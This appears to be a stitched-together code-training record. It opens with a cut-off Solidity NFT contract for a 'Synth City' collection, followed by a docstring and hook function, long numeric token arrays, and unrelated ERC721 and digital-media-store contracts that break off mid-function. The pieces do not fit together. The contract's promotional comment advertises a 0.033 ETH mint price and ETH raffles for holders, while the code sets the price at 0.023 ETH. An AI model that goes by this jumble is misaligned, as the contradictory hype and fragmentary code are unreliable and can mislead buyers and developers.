internal view returns (bool) { return base().__isApprovedOrOwner(operator, id); } /// Sets the base URI of the contract. Allowed only by parent contract /// @param newUri new uri base (http://URI) followed by number string of nft followed by extension string /// @param newExtension optional uri extension function _setBaseURI(string memory newUri, string memory newExtension) internal { base().__setBaseURI(newUri, newExtension); } /** * @dev Delegates the current call to nftImplementation. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { address impl = implementation(); assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external virtual { _fallback(); } /** * @dev No base NFT functions receive any value */ receive() external payable { revert(); } } // File: contracts/SYNTHSETH.sol /** W͓̽E͓̽L͓̽C͓̽O͓̽M͓̽E͓̽ ͓̽T͓̽O͓̽ ͓̽S͓̽Y͓̽N͓̽T͓̽H͓̽C͓̽I͓̽T͓̽Y͓̽ The hyper stylised world of Synth city, The hottest underrated NFT collection on the Ethereum block chain. Mint ur own Synth for only 0.033 ETH on the SYNTHCITY MINTING DAPP: https://synth-city-dapp.vercel.app/ There are only 2000 SYNTHS available so dot miss out:P FOMO If sold out 16 ETH wil be raffled between holders. 4 x lucky winners of 2 ETH only holders with 20 THE SYNTHS are eligible. 3 x lucky winnars of 1.5 ETH only holders with 10 The SYNTHS are eligible. 2 x lucky winners of 1 ETH only holders with less then 10 THE SYNTHS. 3 x lucky winner of 0.5 ETH drawn fom all holders are eligible. YOLO LFG */ pragma solidity ^0.8.9; contract TheSynths is ERC721Delegated, ReentrancyGuard { using Counters for Counters.Counter; constructor(address baseFactory, string memory customBaseURI_) ERC721Delegated( baseFactory, "SYNTH CITY", "THE SYNTHS", ConfigSettings({ royaltyBps: 700, uriBase: customBaseURI_, uriExtension: "", hasTransferHook: false }) ) { allowedMintCountMap[msg.sender] = 40; } /** MINTING LIMITS **/ mapping(address => uint256) private mintCountMap; mapping(address => uint256) private allowedMintCountMap; uint256 public constant MINT_LIMIT_PER_WALLET = 20; function max(uint256 a, uint256 b) private pure returns (uint256) { return a >= b ? a : b; } function allowedMintCount(address minter) public view returns (uint256) { if (saleIsActive) { return ( max(allowedMintCountMap[minter], MINT_LIMIT_PER_WALLET) - mintCountMap[minter] ); } return allowedMintCountMap[minter] - mintCountMap[minter]; } function updateMintCount(address minter, uint256 count) private { mintCountMap[minter] += count; } /** MINTING **/ uint256 public constant MAX_SUPPLY = 2000; uint256 public constant MAX_MULTIMINT = 20; uint256 public constant PRICE = 23000000000000000; Counters.Counter private supplyCounter; function mint(uint256 count) public payable nonReentrant { if (allowedMintCount(msg.sender) >= count) { updateMintCount(msg.sender, count); } else { revert(saleIsActive ? "Minting limit exceeded" : "Sale not active"); } require(totalSupply() + count - 1 < MAX_SUPPLY, "Exceeds max supply"); require(count <= MAX_MULTIMINT, "Mint at most 20 at a time"); require( msg.value >= PRICE * count, "Insufficient payment, 0.023 ETH per item" ); for (uint256 i = 0; i < count; i++) { _mint(msg.sender, totalSupply()); supplyCounter.increment(); } } function totalSupply() public view returns (uint256) { return supplyCounter.current(); } /** ACTIVATION **/ bool public saleIsActive = false; function setSaleIsActive(bool saleIsActive_) external onlyOwner { saleIsActive = saleIsActive_; } /** URI HANDLING **/ function setBaseURI(string memory customBaseURI_) external onlyOwner { _setBaseURI(customBaseURI_, ""); } function tokenURI(uint256 tokenId) public view returns (string memory) { return string(abi.encodePacked(_tokenURI(tokenId), ".json")); } /** PAYOUT **/ function withdraw() public nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(_owner()), balance); } }
Hook that when enabled manually calls _beforeTokenTransfer on Raise error again from result if error exists delegatecall returns 0 on error.
function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { if (advancedConfig.hasTransferHook) { (bool success, ) = address(this).delegatecall( abi.encodeWithSignature( "_beforeTokenTransfer(address,address,uint256)", from, to, tokenId ) ); assembly { switch success case 0 { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } } }
64,730
[ 1, 5394, 716, 1347, 3696, 10036, 4097, 389, 5771, 1345, 5912, 603, 20539, 555, 3382, 628, 563, 309, 555, 1704, 7152, 1991, 1135, 374, 603, 555, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 1147, 548, 203, 565, 262, 2713, 3849, 288, 203, 3639, 309, 261, 27080, 809, 18, 5332, 5912, 5394, 13, 288, 203, 5411, 261, 6430, 2216, 16, 262, 273, 1758, 12, 2211, 2934, 22216, 1991, 12, 203, 7734, 24126, 18, 3015, 1190, 5374, 12, 203, 10792, 4192, 5771, 1345, 5912, 12, 2867, 16, 2867, 16, 11890, 5034, 2225, 16, 203, 10792, 628, 16, 203, 10792, 358, 16, 203, 10792, 1147, 548, 203, 7734, 262, 203, 5411, 11272, 203, 5411, 19931, 288, 203, 7734, 1620, 2216, 203, 7734, 648, 374, 288, 203, 10792, 327, 892, 3530, 12, 20, 16, 374, 16, 327, 13178, 554, 10756, 203, 10792, 15226, 12, 20, 16, 327, 13178, 554, 10756, 203, 7734, 289, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: REMIX_FILE_SYNC/ApprovedCreatorRegistryInterface.sol pragma solidity ^0.4.22; /** * Interface to the digital media store external contract that is * responsible for storing the common digital media and collection data. * This allows for new token contracts to be deployed and continue to reference * the digital media and collection data. */ contract ApprovedCreatorRegistryInterface { function getVersion() public pure returns (uint); function typeOfContract() public pure returns (string); function isOperatorApprovedForCustodialAccount( address _operator, address _custodialAddress) public view returns (bool); } // File: REMIX_FILE_SYNC/DigitalMediaStoreInterface.sol pragma solidity 0.4.25; /** * Interface to the digital media store external contract that is * responsible for storing the common digital media and collection data. * This allows for new token contracts to be deployed and continue to reference * the digital media and collection data. */ contract DigitalMediaStoreInterface { function getDigitalMediaStoreVersion() public pure returns (uint); function getStartingDigitalMediaId() public view returns (uint256); function registerTokenContractAddress() external; /** * Creates a new digital media object in storage * @param _creator address the address of the creator * @param _printIndex uint32 the current print index for the limited edition media * @param _totalSupply uint32 the total allowable prints for this media * @param _collectionId uint256 the collection id that this media belongs to * @param _metadataPath string the ipfs metadata path * @return the id of the new digital media created */ function createDigitalMedia( address _creator, uint32 _printIndex, uint32 _totalSupply, uint256 _collectionId, string _metadataPath) external returns (uint); /** * Increments the current print index of the digital media object * @param _digitalMediaId uint256 the id of the digital media * @param _increment uint32 the amount to increment by */ function incrementDigitalMediaPrintIndex( uint256 _digitalMediaId, uint32 _increment) external; /** * Retrieves the digital media object by id * @param _digitalMediaId uint256 the address of the creator */ function getDigitalMedia(uint256 _digitalMediaId) external view returns( uint256 id, uint32 totalSupply, uint32 printIndex, uint256 collectionId, address creator, string metadataPath); /** * Creates a new collection * @param _creator address the address of the creator * @param _metadataPath string the ipfs metadata path * @return the id of the new collection created */ function createCollection(address _creator, string _metadataPath) external returns (uint); /** * Retrieves a collection by id * @param _collectionId uint256 */ function getCollection(uint256 _collectionId) external view returns( uint256 id, address creator, string metadataPath); } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/ownership/Ownable.sol pragma solidity ^0.4.21; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/lifecycle/Pausable.sol pragma solidity ^0.4.21; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: REMIX_FILE_SYNC/MediaStoreVersionControl.sol pragma solidity 0.4.25; /** * A special control class that is used to configure and manage a token contract's * different digital media store versions. * * Older versions of token contracts had the ability to increment the digital media's * print edition in the media store, which was necessary in the early stages to provide * upgradeability and flexibility. * * New verions will get rid of this ability now that token contract logic * is more stable and we've built in burn capabilities. * * In order to support the older tokens, we need to be able to look up the appropriate digital * media store associated with a given digital media id on the latest token contract. */ contract MediaStoreVersionControl is Pausable { // The single allowed creator for this digital media contract. DigitalMediaStoreInterface public v1DigitalMediaStore; // The current digitial media store, used for this tokens creation. DigitalMediaStoreInterface public currentDigitalMediaStore; uint256 public currentStartingDigitalMediaId; /** * Validates that the managers are initialized. */ modifier managersInitialized() { require(v1DigitalMediaStore != address(0)); require(currentDigitalMediaStore != address(0)); _; } /** * Sets a digital media store address upon construction. * Once set it's immutable, so that a token contract is always * tied to one digital media store. */ function setDigitalMediaStoreAddress(address _dmsAddress) internal { DigitalMediaStoreInterface candidateDigitalMediaStore = DigitalMediaStoreInterface(_dmsAddress); require(candidateDigitalMediaStore.getDigitalMediaStoreVersion() == 2, "Incorrect version."); currentDigitalMediaStore = candidateDigitalMediaStore; currentDigitalMediaStore.registerTokenContractAddress(); currentStartingDigitalMediaId = currentDigitalMediaStore.getStartingDigitalMediaId(); } /** * Publicly callable by the owner, but can only be set one time, so don't make * a mistake when setting it. * * Will also check that the version on the other end of the contract is in fact correct. */ function setV1DigitalMediaStoreAddress(address _dmsAddress) public onlyOwner { require(address(v1DigitalMediaStore) == 0, "V1 media store already set."); DigitalMediaStoreInterface candidateDigitalMediaStore = DigitalMediaStoreInterface(_dmsAddress); require(candidateDigitalMediaStore.getDigitalMediaStoreVersion() == 1, "Incorrect version."); v1DigitalMediaStore = candidateDigitalMediaStore; v1DigitalMediaStore.registerTokenContractAddress(); } /** * Depending on the digital media id, determines whether to return the previous * version of the digital media manager. */ function _getDigitalMediaStore(uint256 _digitalMediaId) internal view managersInitialized returns (DigitalMediaStoreInterface) { if (_digitalMediaId < currentStartingDigitalMediaId) { return v1DigitalMediaStore; } else { return currentDigitalMediaStore; } } } // File: REMIX_FILE_SYNC/DigitalMediaManager.sol pragma solidity 0.4.25; /** * Manager that interfaces with the underlying digital media store contract. */ contract DigitalMediaManager is MediaStoreVersionControl { struct DigitalMedia { uint256 id; uint32 totalSupply; uint32 printIndex; uint256 collectionId; address creator; string metadataPath; } struct DigitalMediaCollection { uint256 id; address creator; string metadataPath; } ApprovedCreatorRegistryInterface public creatorRegistryStore; // Set the creator registry address upon construction. Immutable. function setCreatorRegistryStore(address _crsAddress) internal { ApprovedCreatorRegistryInterface candidateCreatorRegistryStore = ApprovedCreatorRegistryInterface(_crsAddress); require(candidateCreatorRegistryStore.getVersion() == 1); // Simple check to make sure we are adding the registry contract indeed // https://fravoll.github.io/solidity-patterns/string_equality_comparison.html require(keccak256(candidateCreatorRegistryStore.typeOfContract()) == keccak256("approvedCreatorRegistry")); creatorRegistryStore = candidateCreatorRegistryStore; } /** * Validates that the Registered store is initialized. */ modifier registryInitialized() { require(creatorRegistryStore != address(0)); _; } /** * Retrieves a collection object by id. */ function _getCollection(uint256 _id) internal view managersInitialized returns(DigitalMediaCollection) { uint256 id; address creator; string memory metadataPath; (id, creator, metadataPath) = currentDigitalMediaStore.getCollection(_id); DigitalMediaCollection memory collection = DigitalMediaCollection({ id: id, creator: creator, metadataPath: metadataPath }); return collection; } /** * Retrieves a digital media object by id. */ function _getDigitalMedia(uint256 _id) internal view managersInitialized returns(DigitalMedia) { uint256 id; uint32 totalSupply; uint32 printIndex; uint256 collectionId; address creator; string memory metadataPath; DigitalMediaStoreInterface _digitalMediaStore = _getDigitalMediaStore(_id); (id, totalSupply, printIndex, collectionId, creator, metadataPath) = _digitalMediaStore.getDigitalMedia(_id); DigitalMedia memory digitalMedia = DigitalMedia({ id: id, creator: creator, totalSupply: totalSupply, printIndex: printIndex, collectionId: collectionId, metadataPath: metadataPath }); return digitalMedia; } /** * Increments the print index of a digital media object by some increment. */ function _incrementDigitalMediaPrintIndex(DigitalMedia _dm, uint32 _increment) internal managersInitialized { DigitalMediaStoreInterface _digitalMediaStore = _getDigitalMediaStore(_dm.id); _digitalMediaStore.incrementDigitalMediaPrintIndex(_dm.id, _increment); } // Check if the token operator is approved for the owner address function isOperatorApprovedForCustodialAccount( address _operator, address _owner) internal view registryInitialized returns(bool) { return creatorRegistryStore.isOperatorApprovedForCustodialAccount( _operator, _owner); } } // File: REMIX_FILE_SYNC/SingleCreatorControl.sol pragma solidity 0.4.25; /** * A special control class that's used to help enforce that a DigitalMedia contract * will service only a single creator's address. This is used when deploying a * custom token contract owned and managed by a single creator. */ contract SingleCreatorControl { // The single allowed creator for this digital media contract. address public singleCreatorAddress; // The single creator has changed. event SingleCreatorChanged( address indexed previousCreatorAddress, address indexed newCreatorAddress); /** * Sets the single creator associated with this contract. This function * can only ever be called once, and should ideally be called at the point * of constructing the smart contract. */ function setSingleCreator(address _singleCreatorAddress) internal { require(singleCreatorAddress == address(0), "Single creator address already set."); singleCreatorAddress = _singleCreatorAddress; } /** * Checks whether a given creator address matches the single creator address. * Will always return true if a single creator address was never set. */ function isAllowedSingleCreator(address _creatorAddress) internal view returns (bool) { require(_creatorAddress != address(0), "0x0 creator addresses are not allowed."); return singleCreatorAddress == address(0) || singleCreatorAddress == _creatorAddress; } /** * A publicly accessible function that allows the current single creator * assigned to this contract to change to another address. */ function changeSingleCreator(address _newCreatorAddress) public { require(_newCreatorAddress != address(0)); require(msg.sender == singleCreatorAddress, "Not approved to change single creator."); singleCreatorAddress = _newCreatorAddress; emit SingleCreatorChanged(singleCreatorAddress, _newCreatorAddress); } } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol pragma solidity ^0.4.21; /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/token/ERC721/ERC721.sol pragma solidity ^0.4.21; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol pragma solidity ^0.4.21; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. This function MUST use 50,000 gas or less. Return of other * than the magic value MUST result in the transaction being reverted. * Note: the contract address is always the message sender. * @param _from The sending address * @param _tokenId The NFT identifier which is being transfered * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` */ function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4); } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/AddressUtils.sol pragma solidity ^0.4.21; /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly return size > 0; } } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol pragma solidity ^0.4.21; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is ERC721Basic { using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Checks msg.sender can transfer a token, by being owner, approved, or operator * @param _tokenId uint256 ID of the token to validate */ modifier canTransfer(uint256 _tokenId) { require(isApprovedOrOwner(msg.sender, _tokenId)); _; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existance of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * @dev The zero address indicates there is no approved address. * @dev There can only be one approved address per token at a given time. * @dev Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); if (getApproved(_tokenId) != address(0) || _to != address(0)) { tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for a the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * @dev An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * @dev Usage of this method is discouraged, use `safeTransferFrom` whenever possible * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) { require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public canTransfer(_tokenId) { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * @dev If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @dev Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public canTransfer(_tokenId) { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) { address owner = ownerOf(_tokenId); return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender); } /** * @dev Internal function to mint a new token * @dev Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * @dev Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @dev Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * @dev The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } // File: REMIX_FILE_SYNC/openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol pragma solidity ^0.4.21; /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is ERC721, ERC721BasicToken { // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ function ERC721Token(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; } /** * @dev Gets the token name * @return string representing the token name */ function name() public view returns (string) 